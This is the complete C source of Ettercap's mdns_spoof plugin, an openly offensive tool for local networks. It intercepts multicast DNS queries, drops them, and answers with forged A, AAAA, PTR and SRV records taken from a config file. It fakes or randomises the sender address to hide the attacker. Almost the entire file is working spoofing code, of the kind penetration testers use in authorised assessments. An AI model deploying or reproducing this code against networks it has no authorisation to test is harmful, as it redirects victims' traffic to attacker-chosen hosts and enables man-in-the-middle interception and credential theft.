1 /*
2 mdns_spoof -- ettercap plugin -- spoofs mdns replies
3
4 Copyright (C) Ettercap Development Team
5
6 This program is free software; you can redistribute it and/or modify
7 it under the terms of the GNU General Public License as published by
8 the Free Software Foundation; either version 2 of the License, or
9 (at your option) any later version.
10
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 GNU General Public License for more details.
15
16 You should have received a copy of the GNU General Public License
17 along with this program; if not, write to the Free Software
18 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19
20 */
21
22 #include <ec.h> /* required for global variables */
23 #include <ec_plugins.h> /* required for plugin ops */
24 #include <ec_file.h>
25 #include <ec_hook.h>
26 #include <ec_resolv.h>
27 #include <ec_send.h>
28
29 #include <stdlib.h>
30 #include <string.h>
31
32 #ifndef ns_t_wins
33 #define ns_t_wins 0xFF01 /* WINS name lookup */
34 #endif
35
36 #define MDNS_QU_FLAG 0x8000
37
38 struct mdns_header {
39 uint16_t id;
40 uint16_t flags;
41 uint16_t questions;
42 uint16_t answer_rrs;
43 uint16_t auth_rrs;
44 uint16_t additional_rrs;
45 };
46
47 struct mdns_spoof_entry {
48 int type; /* ns_t_a, ns_t_ptr, ns_t_srv */
49 char *name;
50 struct ip_addr ip;
51 u_int16 port; /* for SRV records */
52 SLIST_ENTRY(mdns_spoof_entry) next;
53 };
54
55 static SLIST_HEAD(, mdns_spoof_entry) mdns_spoof_head;
56
57 /* protos */
58
59 int plugin_load(void *);
60 static int mdns_spoof_init(void *);
61 static int mdns_spoof_fini(void *);
62 static int load_db(void);
63 static void mdns_spoof(struct packet_object *po);
64 static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p);
65 static int get_spoofed_a(const char *a, struct ip_addr **ip);
66 static int get_spoofed_aaaa(const char *a, struct ip_addr **ip);
67 static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip);
68 static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port);
69 static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender, struct ip_addr **target, u_int8 **tmac , struct ip_addr *reply);
70 char *type_str(int type);
71 static void mdns_spoof_dump(void);
72
73 /* plugin operations */
74
75 struct plugin_ops mdns_spoof_ops = {
76 /* ettercap version MUST be the global EC_VERSION */
77 .ettercap_version = EC_VERSION,
78 /* the name of the plugin */
79 .name = "mdns_spoof",
80 /* a short description of the plugin (max 50 chars) */
81 .info = "Sends spoofed mDNS replies",
82 /* the plugin version. */
83 .version = "1.0",
84 /* activation function */
85 .init = &mdns_spoof_init,
86 /* deactivation function */
87 .fini = &mdns_spoof_fini,
88 };
89
90 /* this function is called on plugin load */
plugin_load(void * handle)91 int plugin_load(void *handle)
92 {
93 /* load the database of spoofed replies (etter.dns)
94 * return an error if we could not open the file
95 */
96 if (load_db() != E_SUCCESS)
97 return -E_INVALID;
98
99 mdns_spoof_dump();
100 return plugin_register(handle, &mdns_spoof_ops);
101 }
102
mdns_spoof_init(void * dummy)103 static int mdns_spoof_init(void *dummy)
104 {
105 /* variable not used */
106 (void) dummy;
107
108 /*
109 * add the hook in the dissector.
110 * this will pass only valid dns packets
111 */
112 hook_add(HOOK_PROTO_MDNS, &mdns_spoof);
113
114 return PLUGIN_RUNNING;
115 }
116
117
mdns_spoof_fini(void * dummy)118 static int mdns_spoof_fini(void *dummy)
119 {
120 /* variable not used */
121 (void) dummy;
122
123 /* remove the hook */
124 hook_del(HOOK_PROTO_MDNS, &mdns_spoof);
125
126 return PLUGIN_FINISHED;
127 }
128
129 /*
130 * load the database in the list
131 */
load_db(void)132 static int load_db(void)
133 {
134 struct mdns_spoof_entry *d;
135 FILE *f;
136 char line[128];
137 char *ptr, *ip, *name;
138 int lines = 0, type;
139 u_int16 port = 0;
140
141 /* open the file */
142 f = open_data("etc", ETTER_MDNS, FOPEN_READ_TEXT);
143 if (f == NULL) {
144 USER_MSG("mdns_spoof: Cannot open %s\n", ETTER_MDNS);
145 return -E_INVALID;
146 }
147
148 /* load it in the list */
149 while (fgets(line, 128, f)) {
150 /* count the lines */
151 lines++;
152
153 /* trim comments */
154 if ( (ptr = strchr(line, '#')) )
155 *ptr = '\0';
156
157 /* skip empty lines */
158 if (!*line || *line == '\r' || *line == '\n')
159 continue;
160
161 /* strip apart the line */
162 if (!parse_line(line, lines, &type, &ip, &port, &name))
163 continue;
164
165 /* create the entry */
166 SAFE_CALLOC(d, 1, sizeof(struct mdns_spoof_entry));
167 d->name = strdup(name);
168 d->type = type;
169 d->port = port;
170
171 /* convert the ip address and fill the struct */
172 if (ip_addr_pton(ip, &d->ip) != E_SUCCESS) {
173 USER_MSG("mdns_spoof: %s:%d Invalid IPv4 or IPv6 address\n", ETTER_MDNS, lines);
174 SAFE_FREE(d);
175 continue;
176 }
177
178 /* insert in the list */
179 SLIST_INSERT_HEAD(&mdns_spoof_head, d, next);
180 }
181
182 fclose(f);
183
184 return E_SUCCESS;
185 }
186
187 /*
188 * Parse line on format "<name> <type> <IP-addr>".
189 */
parse_line(const char * str,int line,int * type_p,char ** ip_p,u_int16 * port_p,char ** name_p)190 static int parse_line (const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p)
191 {
192 static char name[100+1];
193 static char ip[MAX_ASCII_ADDR_LEN];
194 static int port;
195 char type[10+1];
196
197 DEBUG_MSG("mdns_spoof: %s:%d str '%s'", ETTER_MDNS, line, str);
198
199 if (sscanf(str,"%100s %10s %40[^\r\n# ]", name, type, ip) != 3) {
200 USER_MSG("mdns_spoof: %s:%d Invalid entry %s\n", ETTER_MDNS, line, str);
201 return (0);
202 }
203
204 if (!strcasecmp(type,"PTR")) {
205 if (strpbrk(name,"*?[]")) {
206 USER_MSG("mdns_spoof: %s:%d Wildcards in PTR records are not allowed; %s\n",
207 ETTER_MDNS, line, str);
208 return (0);
209 }
210 *type_p = ns_t_ptr;
211 *name_p = name;
212 *ip_p = ip;
213 return (1);
214 }
215
216 if (!strcasecmp(type,"A")) {
217 *type_p = ns_t_a;
218 *name_p = name;
219 *ip_p = ip;
220 return (1);
221 }
222
223 if (!strcasecmp(type,"AAAA")) {
224 *type_p = ns_t_aaaa;
225 *name_p = name;
226 *ip_p = ip;
227 return (1);
228 }
229
230 if (!strcasecmp(type, "SRV")) {
231 /*
232 * Additional format scan as SRV records have a different syntax
233 */
234 static char ip_tmp[MAX_ASCII_ADDR_LEN];
235 if (sscanf(ip, "[%40[0-9a-fA-F:.]]:%d", ip_tmp, &port) == 2) {
236 strncpy(ip, ip_tmp, strlen(ip_tmp)+1);
237 }
238 else if (sscanf(ip, "%20[0-9.]:%d", ip_tmp, &port) == 2) {
239 strncpy(ip, ip_tmp, strlen(ip_tmp)+1);
240 }
241 else {
242 USER_MSG("mdns_spoof: %s:%d Unknown syntax for SRV record; %s\n",
243 ETTER_MDNS, line, str);
244 return 0;
245 }
246
247 if (port > 0xffff || port <= 0) {
248 USER_MSG("mdns_spoof: %s:%d Invalid value for port: %d\n",
249 ETTER_MDNS, line, port);
250 return 0;
251 }
252
253 *type_p = ns_t_srv;
254 *name_p = name;
255 *ip_p = ip;
256 *port_p = port & 0x0000ffff;
257
258 return 1;
259 }
260
261 USER_MSG("mdns_spoof: %s:%d Unknown record type %s\n", ETTER_MDNS, line, type);
262 return (0);
263 }
264
265 /*
266 * parse the request and return a spoofed response
267 */
mdns_spoof(struct packet_object * po)268 static void mdns_spoof(struct packet_object *po)
269 {
270 struct mdns_header *mdns;
271 struct iface_env *iface;
272 char name[NS_MAXDNAME];
273 int name_len;
274 u_char *q, *data, *end;;
275 u_int16 class;
276 u_int16 type;
277 int x;
278
279 mdns = (struct mdns_header *)po->DATA.data;
280 data = (u_char *)(mdns+1);
281 end = (u_char *)mdns + po->DATA.len;
282
283 q = data;
284
285 if (mdns->flags == 0x8400 || mdns->answer_rrs > 0)
286 {
287 //We only want queries.
288 return;
289 }
290
291 /* Do not forward query */
292 po->flags |= PO_DROPPED;
293
294 /* set incoming interface as outgoing interface for reply */
295 iface = po->flags & PO_FROMIFACE ? EC_GBL_IFACE : EC_GBL_BRIDGE;
296
297 /* process all the questions */
298 for (x = 0; x < mdns->questions; x++) {
299
300 name_len = dn_expand((u_char*)mdns, end, q, name, sizeof(name));
301 if (name_len == -1)
302 return;
303 q = data + name_len;
304
305 if (q >= end || name_len == 0)
306 return;
307
308 NS_GET16(type, q);
309 NS_GET16(class, q);
310
311 /* handle only internet class - unmask the QU flag */
312 if ((class & ~MDNS_QU_FLAG) != ns_c_in)
313 return;
314
315 if(type == ns_t_a) {
316 struct ip_addr *reply;
317 struct ip_addr *sender;
318 struct ip_addr *target;
319 u_int8 *tmac;
320 u_int8 answer[name_len + 10 + 4];
321 u_char *p = answer + name_len;
322 char tmp[MAX_ASCII_ADDR_LEN];
323
324 /* found the reply in the list */
325 if (get_spoofed_a(name, &reply) != E_SUCCESS)
326 return;
327
328 /* check if the family matches the record type */
329 if (ntohs(reply->addr_type) != AF_INET) {
330 USER_MSG("mdns_spoof: can not spoof A record for %s "
331 "because the value is not a IPv4 address\n", name);
332 return;
333 }
334
335 /*
336 * in MDNS the original question is not included
337 * into the reply packet as with pure DNS -
338 * fill the buffer with the questioned name of the request
339 * we will append the answer just after the quoted name
340 */
341 memcpy(answer, data, name_len); /* name */
342 memcpy(p , "\x00\x01", 2); /* type A */
343 memcpy(p + 2, "\x80\x01", 2); /* cache-flush-bit + class */
344 memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */
345 memcpy(p + 8, "\x00\x04", 2); /* datalen */
346 ip_addr_cpy(p + 10, reply); /* data */
347
348 /*
349 * depending on the MDNS question, the target address has to be redefined;
350 * we also can not use the multicast address as the source but also;
351 * don't want to reveal our own IP, so the sender needs also be redefined;
352 * hence the variables for the transport of the reply need to be prepared.
353 */
354 prep_mdns_reply(po, class, &sender, &target, &tmac, reply);
355
356 /* send the reply back to the multicast or unicast address
357 * and set the faked address as the source address for the transport
358 */
359 send_mdns_reply(iface, po->L4.src, sender, target, tmac,
360 ntohs(mdns->id), answer, sizeof(answer), 1, 0, 0);
361
362 USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), ip_addr_ntoa(reply, tmp));
363 }
364 if(type == ns_t_aaaa) {
365 struct ip_addr *reply;
366 struct ip_addr *sender;
367 struct ip_addr *target;
368 u_int8 *tmac;
369 u_int8 answer[name_len + 10 + 16];
370 u_char *p = answer + name_len;
371 char tmp[MAX_ASCII_ADDR_LEN];
372
373 /* found the reply in the list */
374 if (get_spoofed_aaaa(name, &reply) != E_SUCCESS)
375 return;
376
377 /* check if the family matches the record type */
378 if (ntohs(reply->addr_type) != AF_INET6) {
379 USER_MSG("mdns_spoof: can not spoof AAAA record for %s "
380 "because the value is not a IPv6 address\n", name);
381 return;
382 }
383
384 /*
385 * in MDNS the original question is not included
386 * into the reply packet as with pure DNS -
387 * fill the buffer with the questioned name of the request
388 * we will append the answer just after the quoted name
389 */
390 memcpy(answer, data, name_len); /* name */
391 memcpy(p , "\x00\x1c", 2); /* type AAAA */
392 memcpy(p + 2, "\x80\x01", 2); /* cache-flush-bit + class */
393 memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */
394 memcpy(p + 8, "\x00\x10", 2); /* datalen */
395 ip_addr_cpy(p + 10, reply); /* data */
396
397 /*
398 * depending on the MDNS question, the target address has to be redefined;
399 * we also can not use the multicast address as the source but also;
400 * don't want to reveal our own IP, so the sender needs also be redefined;
401 * hence the variables for the transport of the reply need to be prepared.
402 */
403 prep_mdns_reply(po, class, &sender, &target, &tmac, reply);
404
405 /* send the reply back to the multicast or unicast address
406 * and set the faked address as the source address for the transport
407 */
408 send_mdns_reply(iface, po->L4.src, sender, target, tmac,
409 ntohs(mdns->id), answer, sizeof(answer), 1, 0, 0);
410
411 USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), ip_addr_ntoa(reply, tmp));
412 }
413 else if (type == ns_t_ptr) {
414 struct ip_addr *reply;
415 struct ip_addr *sender;
416 struct ip_addr *target;
417 u_int8 *tmac;
418 u_int8 answer[name_len + 256];
419 char *a, *p = (char*)answer + name_len;
420 int rlen;
421
422 /* found the reply in the list */
423 if (get_spoofed_ptr(name, &a, &reply) != E_SUCCESS)
424 return;
425
426 /*
427 * in MDNS the original question is not included
428 * into the reply packet as with pure DNS -
429 * fill the buffer with the questioned name of the request
430 * we will append the answer just after the quoted name
431 */
432 memcpy(answer, data, name_len); /* name */
433 memcpy(p , "\x00\x0c", 2); /* type PTR */
434 memcpy(p + 2, "\x80\x01", 2); /* cache-flush-bit + class */
435 memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */
436 /* compress the string into the buffer */
437 rlen = dn_comp(a, (u_char*)p + 10, 256, NULL, NULL);
438 /* put the length before the dn_comp'd string */
439 p += 8;
440 NS_PUT16(rlen, p);
441
442 /*
443 * depending on the MDNS question, the target address has to be redefined;
444 * we also can not use the multicast address as the source but also;
445 * don't want to reveal our own IP, so the sender needs also be redefined;
446 * hence the variables for the transport of the reply need to be prepared.
447 */
448 prep_mdns_reply(po, class, &sender, &target, &tmac, reply);
449
450 /* send the fake reply */
451 send_mdns_reply(iface, po->L4.src, sender, target, tmac,
452 ntohs(mdns->id), answer, name_len + 10 + rlen, 1, 0, 0);
453
454 USER_MSG("mdns_spoof: [%s %s] spoofed to [%s]\n", name, type_str(type), a);
455 }
456 else if (type == ns_t_srv) {
457 struct ip_addr *reply;
458 struct ip_addr *sender;
459 struct ip_addr *target;
460 u_int8 *tmac;
461 u_int8 answer[name_len + 22 + 12 + 16];
462 char *p = (char *)answer + name_len;
463 char tmp[MAX_ASCII_ADDR_LEN];
464 char srvoffset[2];
465 char tgtoffset[2];
466 u_int16 port;
467 int dn_offset = 0;
468
469
470 /* found the reply in the list */
471 if (get_spoofed_srv(name, &reply, &port) != E_SUCCESS)
472 return;
473
474 /*
475 * to refer the target to a proper domain name, we have to strip the
476 * service and protocol label from the questioned domain name
477 */
478 dn_offset += *(data+dn_offset) + 1; /* first label (e.g. _ldap)*/
479 dn_offset += *(data+dn_offset) + 1; /* second label (e.g. _tcp) */
480
481 /* avoid offset overrun */
482 if (dn_offset + 12 > 255) {
483 dn_offset = 0;
484 }
485
486 tgtoffset[0] = 0xc0; /* offset byte */
487 tgtoffset[1] = 12 + dn_offset; /* offset to the actual domain name */
488
489 /*
490 * to inject the spoofed IP address in the additional section,
491 * we have set the offset pointing to the spoofed domain name set
492 * below (in turn, after the domain name [variable length] in the
493 * question section)
494 */
495 srvoffset[0] = 0xc0; /* offset byte */
496 srvoffset[1] = 12 + name_len + 16; /* offset to the answer */
497
498 /*
499 * in MDNS the original question is not included
500 * into the reply packet as with pure DNS -
501 * fill the buffer with the questioned name of the request
502 * we will append the answer just after the quoted name
503 */
504 memcpy(answer, data, name_len); /* name */
505 memcpy(p , "\x00\x21", 2); /* type SRV */
506 memcpy(p + 2, "\x80\x01", 2); /* class IN */
507 memcpy(p + 4, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */
508 memcpy(p + 8, "\x00\x0c", 2); /* data length */
509 memcpy(p + 10, "\x00\x00", 2); /* priority */
510 memcpy(p + 12, "\x00\x00", 2); /* weight */
511 p+=14;
512 NS_PUT16(port, p); /* port */
513 p-=16;
514 /*
515 * add "srv." in front of the stripped domain
516 * name and resolve it in the additional
517 * record (here `srvoffset' is pointing at)
518 */
519 memcpy(p + 16, "\x03\x73\x72\x76", 4); /* target */
520 memcpy(p + 20, tgtoffset,2); /* compressed name offset */
521
522 /* add the additional record for the spoofed IPv4 address*/
523 if (ntohs(reply->addr_type) == AF_INET) {
524 memcpy(p + 22, srvoffset, 2); /* compressed name offset */
525 memcpy(p + 24, "\x00\x01", 2); /* type A */
526 memcpy(p + 26, "\x80\x01", 2); /* class */
527 memcpy(p + 28, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */
528 memcpy(p + 32, "\x00\x04", 2); /* datalen */
529 ip_addr_cpy(p + 34, reply); /* data */
530 memset(p + 38, 0, 12); /* padding */
531 }
532 /* add the additional record for the spoofed IPv6 address*/
533 else if (ntohs(reply->addr_type) == AF_INET6) {
534 memcpy(p + 22, srvoffset, 2); /* compressed name offset */
535 memcpy(p + 24, "\x00\x1c", 2); /* type AAAA */
536 memcpy(p + 26, "\x80\x01", 2); /* class */
537 memcpy(p + 28, "\x00\x00\x0e\x10", 4); /* TTL (1 hour) */
538 memcpy(p + 32, "\x00\x10", 2); /* datalen */
539 ip_addr_cpy(p + 34, reply); /* data */
540 }
541 else {
542 /* IP address not valid - abort */
543 return;
544 }
545
546 /*
547 * depending on the MDNS question, the target address has to be redefined;
548 * we also can not use the multicast address as the source but also;
549 * don't want to reveal our own IP, so the sender needs also be redefined;
550 * hence the variables for the transport of the reply need to be prepared.
551 */
552 prep_mdns_reply(po, class, &sender, &target, &tmac, reply);
553
554 /* send the reply back to the multicast or unicast address
555 * and set the faked address as the source address for the transport
556 */
557 send_mdns_reply(iface, po->L4.src, sender, target, tmac,
558 ntohs(mdns->id), answer, sizeof(answer), 2, 0, 0);
559
560 USER_MSG("mdns_spoof: SRV [%s] spoofed to [%s:%d]\n", name, ip_addr_ntoa(reply, tmp), port);
561 }
562 }
563
564
565 }
566
567 /*
568 * return the ip address for the name - IPv4
569 */
get_spoofed_a(const char * a,struct ip_addr ** ip)570 static int get_spoofed_a(const char *a, struct ip_addr **ip)
571 {
572 struct mdns_spoof_entry *d;
573
574 SLIST_FOREACH(d, &mdns_spoof_head, next) {
575 if (d->type == ns_t_a && match_pattern(a, d->name)) {
576
577 /* return the pointer to the struct */
578 *ip = &d->ip;
579
580 return E_SUCCESS;
581 }
582 }
583
584 return -E_NOTFOUND;
585 }
586
587 /*
588 * return the ip address for the name - IPv6
589 */
get_spoofed_aaaa(const char * a,struct ip_addr ** ip)590 static int get_spoofed_aaaa(const char *a, struct ip_addr **ip)
591 {
592 struct mdns_spoof_entry *d;
593
594 SLIST_FOREACH(d, &mdns_spoof_head, next) {
595 if (d->type == ns_t_aaaa && match_pattern(a, d->name)) {
596
597 /* return the pointer to the struct */
598 *ip = &d->ip;
599
600 return E_SUCCESS;
601 }
602 }
603
604 return -E_NOTFOUND;
605 }
606
607 /*
608 * return the name for the ip address
609 */
get_spoofed_ptr(const char * arpa,char ** a,struct ip_addr ** ip)610 static int get_spoofed_ptr(const char *arpa, char **a, struct ip_addr **ip)
611 {
612 struct mdns_spoof_entry *d;
613 struct ip_addr ptr;
614 unsigned int oct[32];
615 int len, v4len, v6len;
616 u_char ipv4[4];
617 u_char ipv6[16];
618 char v4tld[] = "in-addr.arpa";
619 char v6tld[] = "ip6.arpa";
620
621 len = strlen(arpa);
622 v4len = strlen(v4tld);
623 v6len = strlen(v6tld);
624
625 /* Check the top level domain of the PTR query - IPv4 */
626
627 if (strncmp(arpa + len - v4len, v4tld, v4len) == 0) {
628 /* parses the arpa format */
629 if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa",
630 &oct[3], &oct[2], &oct[1], &oct[0]) != 4)
631 return -E_INVALID;
632
633 /* collect octets */
634 ipv4[0] = oct[0] & 0xff;
635 ipv4[1] = oct[1] & 0xff;
636 ipv4[2] = oct[2] & 0xff;
637 ipv4[3] = oct[3] & 0xff;
638
639 /* init the ip_addr structure */
640 ip_addr_init(&ptr, AF_INET, ipv4);
641
642 }
643 /* check the top level domain of the PTR query - IPv6 */
644 else if (strncmp(arpa + len - v6len, v6tld, v6len) == 0) {
645 /* parses the ip6.arpa format for IPv6 reverse pointer */
646 if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
647 "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
648 "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
649 "%1x.%1x.%1x.%1x.%1x.ip6.arpa",
650 &oct[31], &oct[30], &oct[29], &oct[28],
651 &oct[27], &oct[26], &oct[25], &oct[24],
652 &oct[23], &oct[22], &oct[21], &oct[20],
653 &oct[19], &oct[18], &oct[17], &oct[16],
654 &oct[15], &oct[14], &oct[13], &oct[12],
655 &oct[11], &oct[10], &oct[9], &oct[8],
656 &oct[7], &oct[6], &oct[5], &oct[4],
657 &oct[3], &oct[2], &oct[1], &oct[0]) != 32) {
658 return -E_INVALID;
659 }
660
661 /* collect octets */
662 ipv6[0] = (oct[0] << 4) | oct[1];
663 ipv6[1] = (oct[2] << 4) | oct[3];
664 ipv6[2] = (oct[4] << 4) | oct[5];
665 ipv6[3] = (oct[6] << 4) | oct[7];
666 ipv6[4] = (oct[8] << 4) | oct[9];
667 ipv6[5] = (oct[10] << 4) | oct[11];
668 ipv6[6] = (oct[12] << 4) | oct[13];
669 ipv6[7] = (oct[14] << 4) | oct[15];
670 ipv6[8] = (oct[16] << 4) | oct[17];
671 ipv6[9] = (oct[18] << 4) | oct[19];
672 ipv6[10] = (oct[20] << 4) | oct[21];
673 ipv6[11] = (oct[22] << 4) | oct[23];
674 ipv6[12] = (oct[24] << 4) | oct[25];
675 ipv6[13] = (oct[26] << 4) | oct[27];
676 ipv6[14] = (oct[28] << 4) | oct[29];
677 ipv6[15] = (oct[30] << 4) | oct[31];
678
679 /* init the ip_addr structure */
680 ip_addr_init(&ptr, AF_INET6, ipv6);
681
682 }
683
684 /* search in the list */
685 SLIST_FOREACH(d, &mdns_spoof_head, next) {
686 /*
687 * we cannot return whildcards in the reply,
688 * so skip the entry if the name contains a '*'
689 */
690 if (d->type == ns_t_ptr && !ip_addr_cmp(&ptr, &d->ip)) {
691
692 /* return the pointer to the name */
693 *a = d->name;
694 *ip = &d->ip;
695
696 return E_SUCCESS;
697 }
698 }
699
700 return -E_NOTFOUND;
701 }
702
get_spoofed_srv(const char * name,struct ip_addr ** ip,u_int16 * port)703 static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port)
704 {
705 struct mdns_spoof_entry *d;
706
707 SLIST_FOREACH(d, &mdns_spoof_head, next) {
708 if (d->type == ns_t_srv && match_pattern(name, d->name)) {
709 /* return the pointer to the struct */
710 *ip = &d->ip;
711 *port = d->port;
712
713 return E_SUCCESS;
714 }
715 }
716
717 return -E_NOTFOUND;
718 }
719
720 /*
721 * define sender address and target address
722 */
prep_mdns_reply(struct packet_object * po,u_int16 class,struct ip_addr ** sender,struct ip_addr ** target,u_int8 ** tmac,struct ip_addr * reply)723 static int prep_mdns_reply(struct packet_object *po, u_int16 class, struct ip_addr **sender,
724 struct ip_addr **target, u_int8 **tmac , struct ip_addr *reply)
725 {
726 char tmp[MAX_ASCII_ADDR_LEN];
727
728 if ((class & MDNS_QU_FLAG) == 0x8000 && ip_addr_is_multicast(&po->L3.dst)) {
729 /* received multicast but unicast response requested */
730 if (reply != NULL && reply->addr_type == po->L3.src.addr_type) {
731 /*
732 * address family of spoofed address matches address family
733 * of the transport protocol - we use it as the sender
734 */
735 *sender = reply;
736 *target = &po->L3.src;
737 *tmac = po->L2.src;
738
739 return E_SUCCESS;
740
741 } else {
742 /*
743 * we can not use the spoofed address as the sender
744 * a random link-local address need to be generated
745 */
746 if (ip_addr_random(&po->L3.dst, ntohs(po->L3.src.addr_type)) == E_SUCCESS) {
747 DEBUG_MSG("mdns_spoof: random IP generated: %s\n", ip_addr_ntoa(&po->L3.dst, tmp));
748
749 *sender = &po->L3.dst;
750 *target = &po->L3.src;
751 *tmac = po->L2.src;
752
753 return E_SUCCESS;
754
755 } else {
756 DEBUG_MSG("mdns_spoof: Random sender IP generation failed\n");
757 DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src,tmp));
758
759 return -E_NOADDRESS;
760 }
761 }
762 } else if (!ip_addr_is_multicast(&po->L3.dst)) {
763 /* MDNS received via unicast - response via unicast */
764 *sender = &po->L3.dst;
765 *target = &po->L3.src;
766 *tmac = po->L2.src;
767
768 return E_SUCCESS;
769
770 } else {
771 /* normal multicast reply */
772 if (reply != NULL && reply->addr_type == po->L3.dst.addr_type) {
773 /*
774 * send the reply back to the multicast address and set
775 * the spoofed address also as the source ip address
776 */
777 *sender = reply;
778 *target = &po->L3.dst;
779 *tmac = po->L2.dst;
780
781 return E_SUCCESS;
782
783 } else {
784 /*
785 * we can not use the spoofed address as the sender
786 * a random link-local address need to be generated
787 */
788 if (ip_addr_random(&po->L3.src, ntohs(po->L3.src.addr_type)) == E_SUCCESS) {
789 DEBUG_MSG("mdns_spoof: random IP generated: %s\n", ip_addr_ntoa(&po->L3.src, tmp));
790
791 /*
792 * send the reply back to the multicast address and set the
793 * faked address as the source
794 */
795 *sender = &po->L3.src;
796 *target = &po->L3.dst;
797 *tmac = po->L2.dst;
798
799 return E_SUCCESS;
800
801 } else {
802 DEBUG_MSG("mdns_spoof: Random sender IP generation failed\n");
803 DEBUG_MSG("mdns_spoof: Unknown address family: %s \n", ip_addr_ntoa(&po->L3.src,tmp));
804
805 return -E_NOADDRESS;
806 }
807 }
808 }
809 }
810
811
type_str(int type)812 char *type_str (int type)
813 {
814 return (type == ns_t_a ? "A" :
815 type == ns_t_aaaa ? "AAAA" :
816 type == ns_t_ptr ? "PTR" :
817 type == ns_t_mx ? "MX" :
818 type == ns_t_wins ? "WINS" :
819 type == ns_t_srv ? "SRV" : "?");
820 }
821
mdns_spoof_dump(void)822 static void mdns_spoof_dump(void)
823 {
824 struct mdns_spoof_entry *d;
825 char tmp[MAX_ASCII_ADDR_LEN];
826
827 DEBUG_MSG("mdns_spoof entries:");
828 SLIST_FOREACH(d, &mdns_spoof_head, next) {
829 if (ntohs(d->ip.addr_type) == AF_INET) {
830 if (d->type == ns_t_srv) {
831 DEBUG_MSG(" %s -> [%s:%d], type %s, family IPv4",
832 d->name, ip_addr_ntoa(&d->ip, tmp), d->port , type_str(d->type));
833 }
834 else {
835 DEBUG_MSG(" %s -> [%s], type %s, family IPv4",
836 d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type));
837 }
838 }
839 else if (ntohs(d->ip.addr_type) == AF_INET6) {
840 if (d->type == ns_t_srv) {
841 DEBUG_MSG(" %s -> [%s:%d], type %s, family IPv6",
842 d->name, ip_addr_ntoa(&d->ip, tmp), d->port , type_str(d->type));
843 }
844 else {
845 DEBUG_MSG(" %s -> [%s], type %s, family IPv6",
846 d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type));
847 }
848 }
849 else
850 {
851 DEBUG_MSG(" %s -> ??", d->name);
852 }
853 }
854 }
855
856
857